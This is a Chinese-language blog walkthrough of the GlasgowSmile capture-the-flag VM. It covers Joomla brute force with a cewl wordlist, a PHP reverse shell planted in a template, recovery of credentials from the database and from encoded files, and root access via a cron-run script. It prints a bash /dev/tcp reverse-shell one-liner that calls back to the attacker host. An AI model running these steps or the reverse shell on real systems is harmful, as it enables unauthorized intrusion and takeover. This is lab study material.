GlasgowSmile:定制字典生成爆破与提权的多种姿势


靶机链接

1.信息收集

扫描存在主机,靶机ip:192.168.71.134

扫描开放端口

开放端口及服务版本:

  • 22/tcp OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
  • 80/tcp Apache httpd 2.4.38 ((Debian))

80端口:一张图片joker.jpg。

开始进行目录扫描。

dirb http://192.168.71.134 

扫出的目录很多,重点是一名为joomla的目录。貌似是一个博客页面,google了下发现是一个内容管理系统(CMS)。

审查了源码没发现特别。

joomla

扫描到了一个登录页面,看了下Joomla没有默认账密,所以可能需要爆破或其他途径获取账密。

administrator

搜索Joomla系统的已知漏洞,测试poc:https://www.exploit-db.com/exploits/47465

不能利用。

2.cewl生成字典

尝试爆破joomla的登录界面。在joomla首页里全是小丑电影相关的台词,猜测站主可能会利用这些台词作为密码。于是利用 cewl 工具以主页内容生成密码字典。

cewl http://192.168.71.134/joomla -m 5 -d 1 -w joker.txt

新建users.txt,作为用户名。

3.Joomla密码爆破

利用nmap的NSE脚本爆破joomla。首先查找joomla相关脚本,找到了http-joomla-brute.nse。

修改脚本,更改脚本中的默认登录URI:

利用刚才生成的密码字典开始爆破:

nmap -sV --script http-joomla-brute --script-args 'userdb=users.txt,passdb=joker.txt' 192.168.71.134

爆破出了三个账号,后两个经验证是错的,可能是换行符的原因,但是joomla用户可以登录。

账密joomla:Gotham登录joomla后台。

4.PHP反弹shell

进入系统后,编辑Beez3模板中的index.php,替换为PHP 反弹shell ,把相应的反弹地址和端口改为kali的ip地址和监听端口并保存。

进入Beez3模板页面

修改模板的index.php

在kali中用ncat监听4000端口,并点击预览更改后的index.php

点击标黄色的按钮触发

shell反弹成功!

利用python3转为bash终端:

python3 -c "import pty;pty.spawn('/bin/bash')"

5.权限提升

查看当前用户权限,目前为www-data,是网络站点用户。

去/home目录下看到有三个用户:

提权至rob用户

进入到/var/www/joomla2目录,发现一个配置文件configuration.php

查看配置文件,发现了数据库的用户名和密码

尝试用用户名joomla和密码babyjoker登录mysql数据库,登录成功!

经过一番查找,在数据库batjoke的taskforce表中,发现了rob用户的信息,rob为系统三个用户之一,这个密码可能就是系统rob用户的密码。

将pswd用base64解密

echo 'Pz8/QWxsSUhhdmVBcmVOZWdhdGl2ZVRob3VnaHRzPz8/' | base64 -d

用户:rob 密码:???AllIHaveAreNegativeThoughts???

还记得信息收集中,靶机开放了22端口,用获取的用户名密码尝试ssh连接:

成功以rob用户登录。

查看rob用户目录下的三个文件,分别是rob用户的user.txt,获取root权限的提示和Abner用户需要帮助。看来离获取root权限还有段距离,下一个要获取的权限是abner用户。

提权至abner用户

根据Abnerineedyourhelp文件的内容分析,这一堆字像是打乱了字母顺序的英文单词。考虑为rot13 类似的加密算法,用CyberChef 进行解密。

对后面一串密码进行base64解码:

用户:abner 密码:I33hope99my0death000makes44more8cents00than0my0life0

利用su切换至abner用户:

获取到abner用户的user2.txt,然后查看info.txt文件,内容为“格拉斯哥微笑”的介绍,没有下一步提升权限的信息。

提权至penguin用户

已知系统有三个用户,现在就剩下penguin用户了。全盘搜索与penguin相关的文件:

find / -iname *penguin* 2>/dev/null

找到了一个隐藏文件.dear_penguins.zip

把这个文件复制到用户目录进行解压,需要密码为abner用户的密码:I33hope99my0death000makes44more8cents00than0my0life0

cp /var/www/joomla2/administrator/manifests/files/.dear_penguins.zip ~ && unzip .dear_penguins.zip

查看解压后的文件内容:

最后这串密码用base64解密不成功,原来这是明文= =

用户:penguin 密码:scf4W7q4B4caTMRhSFYmktMsn87F35UkmKttM5Bz

su切换用户后,获取到user3.txt

提权至root

通过查看penguin的文件,发现.trash_old文件很可疑,它的内容中包含/bin/sh,而且在root用户组中,而且可以执行。

利用**pspy**对系统进程进行监控,以及对用户命令的执行进行枚举。先让靶机从kali上下载工具:

kali开启HTTP服务在8080端口

靶机从kali下载pspy

将pspy赋权限并执行

chmod +x pspy && ./pspy -p -i 1000

-p:启用输出命令到标准输出(默认启用)
-f:启用将文件系统事件打印到STDOUT(默认禁用)
-i:两次扫描procfs的时间间隔(单位:毫秒)

发现.trash_old文件每间隔一分钟就以root用户身份运行一次。

修改.trash_old,添加以下反弹shell并注释exit 0.

bash -c 'bash -i >& /dev/tcp/192.168.71.129/4000 0>&1'

然后 kali主机监听4000端口,因为.trash_old每1分钟执行一次,所以等待.trash_old被执行时反弹shell回来。

获取到root权限成功!

6.总结

该靶机考察了以下知识点:

  • cewl生成字典
  • 利用joomla系统PHP反弹shell
  • 密码学基础
  • 全盘搜索敏感文件
  • pspy监控进程

总之以Joomla内容管理系统为切入点,通过爆破进入系统后台,修改网页模板文件获取站点用户shell。接下来是步步深入考察各种提权姿势,利用数据库、密码学、文件搜索等获取各用户账密信息,最后进程监控,在以root权限执行的进程中植入反弹shell代码获取root权限。


文章作者: Summer One
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Summer One !
  目录